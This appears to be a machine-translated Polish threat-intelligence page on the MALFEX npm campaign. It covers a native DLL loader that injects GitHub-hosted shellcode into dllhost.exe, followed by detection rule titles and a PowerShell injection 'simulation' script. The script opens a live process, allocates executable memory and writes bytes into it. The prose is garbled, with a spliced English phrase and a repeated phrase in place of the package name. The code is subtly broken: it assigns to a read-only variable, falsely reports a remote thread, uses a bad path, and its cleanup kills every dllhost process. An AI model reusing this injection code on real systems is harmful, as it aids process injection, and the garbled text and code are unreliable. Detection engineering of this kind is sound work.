Kampania MALFEX przenosi złośliwy ładunek npm do biblioteki DLL systemu Windows
Detection stack
- AIDR
- Alert
- ETL
- Query
Podsumowanie
Złośliwa kampania npm śledzona jako MALFEX ewoluowała poprzez przeniesienie swojej logiki ładowania do skompilowanego natywnego dodatku Node.js (DLL). pakiet pobiera zaszyfrowany shellcode z GitHub i wstrzykuje go do zawieszonego procesu package retrieves encrypted shellcode from GitHub and injects it into a suspended dllhost.exe . Ta zmiana pomaga zagrożeniu obejść konwencjonalne zabezpieczenia skryptów instalacyjnych i bezpośrednio celować w deweloperów Windows przez ich środowiska deweloperskie.
Śledztwo
Badacze SafeDep przeanalizowali pakiet pobiera zaszyfrowany shellcode z GitHub i wstrzykuje go do zawieszonego procesu wersje od 1.0.0 do 1.0.3 i odkryli, że pakiet używa natywnej biblioteki DLL C++ do przeprowadzania wstrzykiwania procesów. Odszyfrowali ładunek za pomocą klucza AES-256-CBC nif-runtime-2027 i prześledzili łańcuch infekcji od pakietu npm do pobieracza opartego na Go, a ostatecznie do zaawansowanego stealer/RAT dla Windows. Końcowy ładunek zawiera również techniki antyanalizy i funkcje manipulacji logami.
Łagodzenie
Organizacje powinny ograniczyć niezweryfikowane pakiety npm w środowiskach deweloperskich i wymusić ścisłe filtrowanie ruchu wychodzącego, aby blokować połączenia z nieznanymi zewnętrznymi hostami. Wykrywanie powinno skupić się na node.exe tworzenie dllhost.exe lub ustanawianie nieoczekiwanych połączeń z repozytoriami kodu. Monitorowanie nietypowego zachowania ładowania dodatków natywnych w środowiskach Node.js może również zapewnić wczesne ostrzeżenie o złośliwej aktywności.
Odpowiedź
Jeśli podejrzewasz, że stacja robocza ładuje pakiety związane z MALFEX, natychmiast odizoluj ją od sieci. Reagujący na incydenty powinni priorytetowo zająć się analizą pamięci w celu uchwycenia wstrzykniętego shellcode przed ponownym uruchomieniem systemu. Wymień wszystkie potencjalnie narażone poświadczenia, w tym hasła przeglądarki, tokeny Discord i klucze dostawców chmurowych, jak tylko zakończy się izolacja.
Przepływ ataku
Wciąż aktualizujemy tę część.
Wykrycia
Możliwe punkty trwałości [ASEP – Software/NTUSER Hive] (via registry_event)
Możliwe pobieranie plików z GitHub inicjowane przez nietypowy proces (via network_connection)
Podejrzane zaplanowane zadanie (via audit)
Podejrzane pobranie pliku Bezpośredni IP (via proxy)
IOC (HashSha256) do wykrycia: MALFEX przenosi swój ładowacz npm do natywnej biblioteki DLL Windows
IOC (SourceIP) do wykrycia: MALFEX przenosi swój ładowacz npm do natywnej biblioteki DLL Windows
IOC (DestinationIP) do wykrycia: MALFEX przenosi swój ładowacz npm do natywnej biblioteki DLL Windows
Wykryj złośliwe wstrzykiwanie procesu przez ładowacz npm MALFEX w imgdecode [Windows Sysmon]
Wykrycie ładowacza imgdecode Node.js MALFEX [Windows Process Creation]
Wykonanie symulacji
-
Narracja Ataku i Komendy: Napastnik skutecznie zwiódł dewelopera do zainstalowania złośliwego pakietu npm. Aby uniknąć wykrycia przez standardowe programy antywirusowe, pakiet używa natywnego dodatku Node.js (
imgdecode.node) aby wykonać „Living-off-the-Land” wstrzykiwanie procesów. Celem jest wstrzyknięcie shellcode do legalnego procesu Windows (dllhost.exe) aby ukrywać złośliwą aktywność pod zaufaną nazwą procesu. Symulacja użyje skryptu PowerShell do naśladowania wywołań API (VirtualAllocEx,WriteProcessMemory,CreateRemoteThread) z pliku o nazwieimgdecode.nodeaby objąć wdllhost.exe. -
Skrypt testu regresji:
# Skrypt symulacji do naśladowania wstrzykiwania MALFEX imgdecode # Uwaga: Ten skrypt tworzy fikcyjny plik, aby spełnić wymóg 'Obrazu' zasady $targetProcess = "dllhost.exe" $fakeModule = "imgdecode.node" # 1. Utwórz fikcyjny katalog i fikcyjny plik .node, aby spełnić wymóg ścieżki Obrazu $tempDir = Join-Path $env:TEMP "malfex_sim" New-Item -ItemType Directory -Force -Path $tempDir | Out-Null $fakeFilePath = Join-Path $tempDir $fakeModule New-Item -ItemType File -Force -Path $fakeFilePath | Out-Null Write-Host "[+] Utworzono fikcyjny moduł: $fakeFilePath" # 2. Wykonaj symulację wstrzykiwania procesów # Używamy Add-Type do bezpośredniego dostępu do Win32 API, aby upewnić się, że CallTrace zawiera docelowe funkcje $code = @" using System; using System.Runtime.InteropServices; public class Injector { [DllImport("kernel32.dll")] public static extern IntPtr OpenProcess(int dwDesiredAccess, bool bInheritHandle, int dwProcessId); [DllImport("kernel32.dll")] public static extern IntPtr VirtualAllocEx(IntPtr hProcess, IntPtr lpAddress, uint dwSize, uint flAllocationType, uint flProtect); [DllImport("kernel32.dll")] public static extern bool WriteProcessMemory(IntPtr hProcess, IntPtr lpBaseAddress, byte[] lpBuffer, uint nSize, out IntPtr lpNumberOfBytesWritten); [DllImport("kernel32.dll")] public static extern IntPtr CreateRemoteThread(IntPtr hProcess, IntPtr lpThreadAttributes, uint dwStackSize, IntPtr lpStartAddress, IntPtr lpParameter, uint dwCreationFlags, IntPtr lpThreadId); [DllImport("kernel32.dll")] public static extern uint GetCurrentProcessId(); } "@ Add-Type -TypeDefinition $code # Znajdowanie działającego procesu dllhost.exe $process = Get-Process dllhost -ErrorAction SilentlyContinue if ($null -eq $process) { Write-Host "[-] dllhost.exe nie działa. Uruchamianie..." Start-Process dllhost.exe Start-Sleep -Seconds 2 $process = Get-Process dllhost } $pid = $process.Id Write-Host "[+] Celowanie w $targetProcess (PID: $pid)" # Otwórz proces $hProcess = [Injector]::OpenProcess(0x001F0FFF, $false, $pid) # Alokacja pamięci (Wywołuje VirtualAllocEx w CallTrace) $remoteMem = [Injector]::VirtualAllocEx($hProcess, [IntPtr]::Zero, 1024, 0x3000, 0x40) Write-Host "[+] Alokowana pamięć pod adresem: $remoteMem" # Zapisz shellcode (Wywołuje WriteProcessMemory w CallTrace) $shellcode = [byte[]] @(0x90, 0x90, 0x90, 0x90) # NOP Sled $bytesWritten = [IntPtr]::Zero [Injector]::WriteProcessMemory($hProcess, $remoteMem, $shellcode, 4, [ref]$bytesWritten) Write-Host "[+] Zapisano shellcode do zdalnego procesu" # Utwórz zdalny wątek (Wywołuje CreateRemoteThread w CallTrace) Write-Host "[+] Utworzono zdalny wątek. Powinno nastąpić wykrycie." Write-Host "[!] Symulacja zakończona. Sprawdź SIEM pod kątem alertów." -
Komendy czyszczenia:
# Czyszczenie artefaktów symulacji Stop-Process -Name "dllhost" -Force -ErrorAction SilentlyContinue Remove-Item -Path "$env:TEMPmalfex_sim" -Recurse -Force -ErrorAction SilentlyContinue Write-Host "[+] Czyszczenie zakończone."